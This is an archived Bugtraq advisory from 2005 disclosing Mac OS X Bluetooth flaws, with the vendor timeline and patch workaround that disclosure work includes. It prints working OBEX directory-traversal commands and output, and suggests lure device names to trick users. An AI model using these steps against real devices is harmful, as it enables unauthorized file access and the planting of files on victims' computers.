Home page logo
/

bugtraq logo Bugtraq mailing list archives

DMA[2005-0502a] - 'Apple OSX multiple Bluetooth vulnerabilities'
From: Kevin Finisterre <kf () digitalmunition com>
Date: Wed, 04 May 2005 00:33:21 +0000

This was kinda rushed out... there is probably more typos than usual.
DMA[2005-0502a] - 'Apple OSX multiple Bluetooth vulnerabilities'
Author: Kevin Finisterre
Vendor: http://www.apple.com/bluetooth/
Product: 'Mac OSX <=10.3.9'
References: 
http://www.digitalmunition.com/DMA[2005-0502a].txt

Description: 
Starting with Mac OSX 10.2 Apple decided to include support for Bluetooth devices. Apple's Bluetooth 
Software Technology Preview was also available for a brief period of time on Mac OSX 10.1.4. With 
the Bluetooth technology that is integrated in Mac OS X, you can easily connect your Apple computer 
with your Palm OS-based handheld device, mobile phone and other peripherals with Bluetooth technology.

In addition to the new PowerBook G4 portable line, Bluetooth-enabled computers are available across 
Apple's entire CPU product line, including iBook, iMac G5, eMac, Mac mini and Power Mac G5. Bluetooth 
is available in some cases as a standard feature and in others as an addon option. You can even enable 
your previous-generation iBook, iMac or Power Mac by simply plugging in a Bluetooth USB Adapter and 
letting Mac OSX takes care of the rest.

During the development of 'greenplaque' several trips to my local "Cup O' Joe" began to turn up boat 
loads of bluetoth devices. After multiple runs I started to notice that the first 3 bytes of many of 
the devices began with either 00:0D:93 or 00:03:93. A quick run to the OID lookup offered by Jason 
Coffer (http://coffer.com/mac_find/) I discovered that these devices were Macintosh computers. For some 
reason coffee shops seem to be yupie central, there are bluetooth enabled Macs everywhere! 

Once I got home and plugged one of my bluetooth sticks into my evil Orange iMac it all started to make 
sense. When you install OSX for the first time the hostname of the computer is set to the owners name. 
The OSX bluetooth settings derive the device name from the hostname. This behavior explains why all of 
the machines using the Apple OID had a Bluetooth device name of 'Firstname Lastnameâs Computer'. Please 
make note of the â in the device name. For some reason OSX loves to stuff this character in place of an 
apostrophe, knowing this could help you fingerprint a Macintosh device that is not using the Apple 
integrated Bluetooth radio. 

The first thing I noticed about the Apple bluetooth implementation was that the default behavior of the
OBEX Ftp service allowed access to the /Users/Shared directory and it did not require any sort of user 
authentication. The best part was that this service was enabled by default once a user had logged into 
the machine. 

The following output demonstrates the ability to view files located in /Users/Shared.

animosity:/home/kfinisterre# qobexclient -t bluetooth -d 00:11:B1:07:BE:A7 -l
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
        <folder name="Faxes" created="19961103T141500Z" size="0"/>
<folder name="New Folder" created="19961103T141500Z" size="0"/>
<folder name="SC Info" created="19961103T141500Z" size="0"/>
</folder-listing>

The above behavior is actually what prompted me to contact Apple about their Bluetooth software. The 
initial conversation consisted of me arguing that  "...just because someone on my local LAN has access 
to the files in /Users/Shared, that does not mean that I want some random Joe Schmoe out on the sidwalk 
to have access to them as well". 

Shortly after this discovery Justin Tibbs and I started to notice that several applications appear to 
be using /Users/Shared as a config file repository. For example we found that GarageBand, Quicken, 
Microsoft  RDP client, Blizzard World of Warcraft and iTunes all dumped random files into /Users/Shared. 
Even 'SC Info.sidb' aka the iTunes database of decryption keys seems to be up for grabs over Bluetooth.

In addition to being able to browse the files located in /Users/Shared you also have the ability to place
files onto the machine in the same directory. This may for example allow you to place potentially 
offensive or illegal material onto an individuals computer. 

After I did a bit more research the fun really began. Aside from offering OBEX File Transfer OSX also offers
OBEX Object Push services. Object push is usually used for passing business cards to other Bluetooth users.
After my wonderful user experience with Widcomm I figured I would try some old tricks with my new dog. 
Object push has an option called "Folder for Accpeted Items". Under normal circumstances all files should be 
dropped into this directory, however this restriction is can be bypassed. OBEX FTP appears to be vulnerable 
to a directory transversal attack. 


The first step is obviously to check what channel OPUSH is on. 
animosity:/home/kfinisterre# sdptool browse 00:11:B1:07:BE:A7
Browsing 00:11:B1:07:BE:A7 ...
Service Name: Bluetooth-PDA-Sync
Service RecHandle: 0x10004
Service Class ID List:
  "Serial Port" (0x1101)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 3
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "Serial Port" (0x1101)
    Version: 0x0100

Service Name: OBEX Object Push
Service RecHandle: 0x10002
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x00000100)
  "RFCOMM" (0x0003)
    Channel: 10
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100

Service Name: OBEX File Transfer
Service RecHandle: 0x10003
Service Class ID List:
  "OBEX File Transfer" (0x1106)
Protocol Descriptor List:
  "L2CAP" (0x00000100)
  "RFCOMM" (0x0003)
    Channel: 15
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX File Transfer" (0x1106)
    Version: 0x0100

Fire up an rfcomm connection. 
animosity:/home/kfinisterre# rfcomm connect 0 00:11:B1:07:BE:A7 10
Connected /dev/rfcomm0 to 00:11:B1:07:BE:A7 on channel 10
Press CTRL-C for hangup

Drop a file in /tmp.                                                               
kfinisterre () animosity:~/ussp-push-0.3$ ./ussp-push /dev/rfcomm0 /etc/hosts ../../../../../../../../../tmp/blah
pushing file /etc/hosts
name=/etc/hosts, size=257
Registered transport

set user data

created new objext

started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!

Connection return code: 0, id: 0
Connection established
connected to server
Sending file: ../../../../../../../../../tmp/blah, path: /etc/hosts, size: 257

At this point the Mac user is prompted by a window with the title 'incomming File Transfer'. The options 
are to 'Decline' or 'Accept' with the ability to also 'Accept all without warning' by clicking a check 
box. There is a bluetooth icon with the device name of the connecting machine. I find this to be very 
useful in helping to get a user to click accept. 

Consider the following as an example. 
animosity:/home/kfinisterre/ussp-push-0.3# hciconfig hci0 name *Sexy*Blonde*5*tables*over

animosity:/home/kfinisterre/ussp-push-0.3# hciconfig hci0 name *Critical*Apple*Bluetooth*Update

animosity:/home/kfinisterre/ussp-push-0.3# hciconfig hci0 name *Apple*Update*Please*Click*Accept

 
Luckily for an attacker only the basename() form of the file being transfered is shown. In the above example 
all we would see is 'blah' as the incomming filename. Odds are that most 'toothy' males would accept any file 
from the Sexy Blonde 5 tables over. 

After you coax the user to accept the file either via clicking 'Accept' or pressing enter the above it will 
promptly be dropped in /tmp.

Kevin-Finisterres-Computer:~kevinfinisterre$ ls /tmp
501 blah mcx_compositor

The final issue that I was able to take advantage of is quite convient in determining if the above attack was 
successful. Lucky for us OBEX File Transfer service also happens to be vulnerable to directory transversal. 

animosity:/home/kfinisterre# qobexclient -t bluetooth -d 00:11:B1:07:BE:A7 -l -c ../
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
<parent-folder />
<file name="4D WebSTAR Installer.log" created="19961103T141500Z" size="195662"/>
<folder name="johnh" created="19961103T141500Z" size="0"/>
<folder name="kevinfinisterre" created="19961103T141500Z" size="0"/>
<folder name="Shared" created="19961103T141500Z" size="0"/>
<folder name="webstar" created="19961103T141500Z" size="0"/>
</folder-listing>

animosity:/home/kfinisterre# qobexclient -t bluetooth -d 00:11:B1:07:BE:A7 -l -c ../../
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
<parent-folder />
<folder name="Applications" created="19961103T141500Z" size="0"/>
<folder name="automount" created="19961103T141500Z" size="0"/>
<folder name="bin" created="19961103T141500Z" size="0"/>
<folder name="cores" created="19961103T141500Z" size="0"/>
<file name="Desktop DB" created="19961103T141500Z" size="3584"/>
<file name="Desktop DF" created="19961103T141500Z" size="4482"/>
<folder name="dev" created="19961103T141500Z" size="0"/>
<folder name="Developer" created="19961103T141500Z" size="0"/>
<file name="etc" created="19961103T141500Z" size="11"/>
<folder name="Library" created="19961103T141500Z" size="0"/>
<file name="mach" created="19961103T141500Z" size="9"/>
<file name="mach.sym" created="19961103T141500Z" size="570532"/>
<file name="mach_kernel" created="19961103T141500Z" size="3863716"/>
<folder name="Network" created="19961103T141500Z" size="0"/>
<folder name="private" created="19961103T141500Z" size="0"/>
<folder name="sbin" created="19961103T141500Z" size="0"/>
<folder name="System" created="19961103T141500Z" size="0"/>
<file name="tmp" created="19961103T141500Z" size="11"/>
<folder name="Users" created="19961103T141500Z" size="0"/>
<folder name="usr" created="19961103T141500Z" size="0"/>
<file name="var" created="19961103T141500Z" size="11"/>
<folder name="Volumes" created="19961103T141500Z" size="0"/>
</folder-listing>

I can not confirm nor deny that files can be placed or retrieved via OBEX FTP and the ../../ method. 
I have only been able to list files using my current obex client. A modified client my yield different
results. 

enjoy.

Work Around: 
Unplug your dongle! Install 2005-005 update or disable bluetooth support within the OS. 
http://www.apple.com/support/downloads/

Timeline associated with this bug: 

Thu, 10 Mar 2005 Follow-up: 7841131 assigned by auto ticketing sytem.
Sat, 12 Mar 2005 dispute usage of /Users/Shared with bluetooth with Apple.
Thu, 17 Mar 2005 Apple is 'still investigating this issue'. Introduce greenplaque to Apple.
Sat, 19 Mar 2005 Justin Tibbs (jay ex tizzle) pointed out World of Warcraft uses /Users/Shared
Sat, 19 Mar 2005 JxT and KF discover and report that iTunes leaves its auth db in /Users/Shared
Sun, 20 Mar 2005 OBEX Object Push directory transversal issues discovered and reported.
Mon, 04 Apr 2005 OBEX File transfer daemon flaws and reported
Sat, 09 Apr 2005 more Apple followups
Thu, 23 Apr 2005 AppleSeed testing begins
Tue, 03 May 2005 I guess someone forgot to tell me, today is apparantly public disclosure day.

All your bluetooth are belong to greenplaque!

-KF



  By Date           By Thread  

Current thread:
  • DMA[2005-0502a] - 'Apple OSX multiple Bluetooth vulnerabilities' Kevin Finisterre (May 05)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault